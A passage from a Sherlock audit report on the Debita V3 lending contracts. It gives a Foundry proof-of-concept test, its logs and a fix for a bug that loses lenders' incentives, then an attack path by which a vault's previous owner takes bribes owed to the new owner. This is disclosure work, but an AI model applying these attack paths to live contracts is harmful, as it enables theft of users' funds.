        // 4. Create a borrow offer with accepted principles wETH and AERO and
↪   collateral USDC
        vm.startPrank(borrower);
        USDCContract.approve(address(DBOFactoryContract), 10e18);
        address borrowOrderAddress = DBOFactoryContract.createBorrowOrder({
            _oraclesActivated: oraclesActivated,
            _LTVs: ltvs,
            _maxInterestRate: 1400,
            _duration: 864000,
            _acceptedPrinciples: acceptedPrinciples,
```

```
        _collateral: USDC,
        _isNFT: false,
        _receiptID: 0,
        _oracleIDS_Principles: oraclesPrinciples,
        _ratio: ratio,
        _oracleID_Collateral: address(0x0),
        _collateralAmount: 10e18
    });
    vm.stopPrank();

    // 5. Call mathOffersV3 to match the borrow order with the lending offers
    address[] memory lendOrders = new address[](2);
    uint[] memory lendAmounts = allDynamicData.getDynamicUintArray(2);
    uint[] memory percentagesOfRatio = allDynamicData.getDynamicUintArray(
        2
    );
    uint[] memory indexForPrinciple_BorrowOrder = allDynamicData
        .getDynamicUintArray(2);
    uint[] memory indexForCollateral_LendOrder = allDynamicData
        .getDynamicUintArray(2);
    uint[] memory indexPrinciple_LendOrder = allDynamicData
        .getDynamicUintArray(2);

    indexForPrinciple_BorrowOrder[0] = 0;
    indexForPrinciple_BorrowOrder[1] = 1;
    indexForCollateral_LendOrder[0] = 0;
    indexForCollateral_LendOrder[1] = 0;
    indexPrinciple_LendOrder[0] = 0;
    indexPrinciple_LendOrder[1] = 1;
    lendOrders[0] = lendOffer1;
    lendOrders[1] = lendOffer2;
    percentagesOfRatio[0] = 10000;
    percentagesOfRatio[1] = 10000;
    lendAmounts[0] = 5e18;
    lendAmounts[1] = 5e18;

    // Advance time to the next epoch (2)
    vm.warp(incentivesContract.epochDuration() + block.timestamp);
    assertEq(incentivesContract.currentEpoch(), 2);

    address deployedLoan = DebitaV3AggregatorContract.matchOffersV3({
        lendOrders: lendOrders,
        lendAmountPerOrder: lendAmounts,
        porcentageOfRatioPerLendOrder: percentagesOfRatio,
        borrowOrder: borrowOrderAddress,
        principles: acceptedPrinciples,
        indexForPrinciple_BorrowOrder: indexForPrinciple_BorrowOrder,
        indexForCollateral_LendOrder: indexForCollateral_LendOrder,
        indexPrinciple_LendOrder: indexPrinciple_LendOrder
    });
```

```
        // 6. Check that the lend offer with the whitelisted pair has not been
↪  updated
        {
            bytes32 hashPrincipleEpoch = incentivesContract.hashVariables(
                AERO,
                2
            );
            uint256 lentAmountPerUserPerEpoch = incentivesContract
                .lentAmountPerUserPerEpoch(lender2, hashPrincipleEpoch);
            console.log(
                "lentAmountPerUserPerEpoch: ",
                lentAmountPerUserPerEpoch
            );

            uint256 totalUsedTokenPerEpoch = incentivesContract
                .totalUsedTokenPerEpoch(AERO, 2);
            console.log("totalUsedTokenPerEpoch: ", totalUsedTokenPerEpoch);

            uint256 borrowAmountPerEpoch = incentivesContract
                .borrowAmountPerEpoch(borrower, hashPrincipleEpoch);
            console.log("borrowAmountPerEpoch: ", borrowAmountPerEpoch);

            // Advance time to the next epoch (3)
            vm.warp(incentivesContract.epochDuration() + block.timestamp);
            assertEq(incentivesContract.currentEpoch(), 3);

            address[] memory principles = new address[](1);
            principles[0] = AERO;
            address[][] memory tokensIncentives = new address[][](1);
            tokensIncentives[0] = new address[](1);
            tokensIncentives[0][0] = USDC;

            // Lender2 can't claim the incentives because the funds were not updated
            vm.startPrank(lender2);
            if (lentAmountPerUserPerEpoch == 0) {
                vm.expectRevert("No borrowed or lent amount");
                incentivesContract.claimIncentives({
                    principles: principles,
                    tokensIncentives: tokensIncentives,
                    epoch: 2
                });
            }
            // else statement will only execute AFTER mitigation (changing
↪  DebitaIncentives::updateFunds `if (!validPair) return;` to `if (!validPair)
↪  continue;`)
            else {
                incentivesContract.claimIncentives({
                    principles: principles,
                    tokensIncentives: tokensIncentives,
```

```
                    epoch: 2
                });
                assertEq(USDCContract.balanceOf(lender2), 100 ether); // After
↪  mitigation, lender2 can claim the incentives. Before mitigation, lender2 loses
↪  his incentives
            }
        }
    }
}
```

Logs

```
lentAmountPerUserPerEpoch:  0
totalUsedTokenPerEpoch:  0
borrowAmountPerEpoch:  0
```

Steps to reproduce:

1. Create a file `UpdateFundsTest.t.sol` inside `Debita-V3-Contracts/test/local/` and paste the PoC code.
2. Run the test in the terminal with the following command:

```
forge test --mt testUpdateFunds -vv
```

Mitigation

Change the `return` keyword in `DebitaIncentives::addFunds`

```
function updateFunds(
        infoOfOffers[] memory informationOffers,
        address collateral,
        address[] memory lenders,
        address borrower
    ) public onlyAggregator {
        for (uint i = 0; i < lenders.length; i++) {
            bool validPair = isPairWhitelisted[informationOffers[i].principle][
                collateral
            ];
            if (!validPair) {
-                return;
+                continue;
            }
            address principle = informationOffers[i].principle;

            uint _currentEpoch = currentEpoch();

            lentAmountPerUserPerEpoch[lenders[i]][
                hashVariables(principle, _currentEpoch)
            ] += informationOffers[i].principleAmount;
```

```
            totalUsedTokenPerEpoch[principle][
                _currentEpoch
            ] += informationOffers[i].principleAmount;
            borrowAmountPerEpoch[borrower][
                hashVariables(principle, _currentEpoch)
            ] += informationOffers[i].principleAmount;

            emit UpdatedFunds(
                lenders[i],
                principle,
                collateral,
                borrower,
                _currentEpoch
            );
        }
    }
```

After applying the change, running the test case provided in the PoC will output the following logs:

```
lentAmountPerUserPerEpoch:  5000000000000000000
totalUsedTokenPerEpoch:  5000000000000000000
borrowAmountPerEpoch:  5000000000000000000
```

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/DebitaFinance/Debita-V3-Contracts/commit/f185f42fcdbeca0bb9005767c1302c8daf24e940

Issue M-22: Previous owner can steal unclaimed bribes from new owner of veNFT-Vault

Source: https://github.com/sherlock-audit/2024-10-debita-judging/issues/875

The protocol has acknowledged this issue.

Found by

0xc0ffEE, DenTonylifer, Flashloan44, Greese, KiroBrejka, VAD37, eeshenggoh, xiaoming90

Summary

Previous owner can steal unclaimed bribes from new owner of `veNFT`, because transfering ownership of `veNFT` does not change the manager (which can claim bribes, vote).

Root Cause

Link

```
function claimBribesMultiple(
        address[] calldata vaults,
        address[] calldata _bribes,
        address[][] calldata _tokens
    ) external {
        for (uint i; i < vaults.length; i++) {
            require(
                msg.sender == veNFTVault(vaults[i]).managerAddress(),
                "not manager"
            );
            require(isVaultValid[vaults[i]], "not vault");
            veNFTVault(vaults[i]).claimBribes(msg.sender, _bribes, _tokens);
            emitInteracted(vaults[i]);
        }
    }
```

Each `veNFTVault.sol` has manager role, which by default is owner of `veNFTVault`:

```
veNFTVault vault = new veNFTVault(
                nftAddress,
                address(this),
                m_Receipt,
                nftsID[i],
```

```
                msg.sender
            );
//...
        s_ReceiptID_to_Vault[m_Receipt] = address(vault);
//...
        _mint(msg.sender, m_Receipt);
```

But transfering ownership of `veNFTVault` by transfering `receiptID` does not change the manager - old manager can still call all of this functions: `voteMultiple()`, `claimBribesMultiple()`, `resetMultiple()`, `extendMultiple()` and `pokeMultiple()`. Main impact that old manager cam steal unclaimed bribes from new owner by calling `claimBribesMultiple()`:

```
function claimBribesMultiple(
       address[] calldata vaults,
       address[] calldata _bribes,
       address[][] calldata _tokens
   ) external {
       for (uint i; i < vaults.length; i++) {
           require(
               msg.sender == veNFTVault(vaults[i]).managerAddress(),
               "not manager"
           );
           require(isVaultValid[vaults[i]], "not vault");
           veNFTVault(vaults[i]).claimBribes(msg.sender, _bribes, _tokens);
           emitInteracted(vaults[i]);
       }
   }
```

Internal pre-conditions

None

External pre-conditions

None

Attack Path

- Malicious user wants to sell ownership of `veNFTVault`, which has for example 1000 USDC of unclaimed bribes;
- Victim expects to become owner of `veNFTVault` and have the ability to claim unclaimed bribes, vote, and so on;
- Malicious user claims bribes right after transfering `receiptID`, because he is still the manager of the vault;

- Bribes are sent to previous malicious owner, not current holder of `receiptID`:

```
SafeERC20.safeTransfer(
                    ERC20(_tokens[i][j]),
                    sender,
                    amountToSend
                );
```

Impact

Previous owner can still call all of this functions: `voteMultiple()`, `claimBribesMultiple()`, `resetMultiple()`, `extendMultiple()` and `pokeMultiple()`. Main impact that manager (previous owner) cam steal unclaimed bribes from new owner by calling `claimBribesMultiple()`.

PoC

No response

Mitigation

Override `transferFrom()` function in that way that it also changes `managerAddress` to new owner's address.

Disclaimers

Sherlock does not provide guarantees nor warranties relating to the security of the project.

Usage of all smart contract software is at the respective users' sole risk and is the users' responsibility.